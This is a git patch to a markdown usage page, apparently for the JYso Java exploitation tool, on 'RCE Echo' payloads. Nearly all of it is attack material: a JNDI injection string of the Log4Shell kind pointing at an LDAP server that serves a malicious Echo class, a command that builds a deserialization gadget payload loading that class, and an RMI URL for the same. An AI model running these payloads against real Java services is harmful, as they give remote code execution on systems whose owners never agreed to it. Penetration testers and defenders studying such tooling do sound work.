From dcab3702913e8eb60734103ba44e650d2990e460 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Mon, 30 Mar 2026 13:15:00 +0800 Subject: [PATCH] =?UTF-8?q?Updated=204=E3=80=81JAVA=20RCE=20Echo=20(markdo?= =?UTF-8?q?wn)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 4、JAVA-RCE-Echo.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/4、JAVA-RCE-Echo.md b/4、JAVA-RCE-Echo.md index a818f15..cfd08c1 100644 --- a/4、JAVA-RCE-Echo.md +++ b/4、JAVA-RCE-Echo.md @@ -11,5 +11,9 @@ ${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class} + ysoserial LF- 后面指定class的绝对路径或相对路径即可 ``` -java -jar JYso-[version].jar -y -g [Gadget] -p "LF-~/.JYso/Echo.class" +java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class" +``` + +``` +rmi://127.0.0.1:1099/basic/M-LF-Echo.class ``` \ No newline at end of file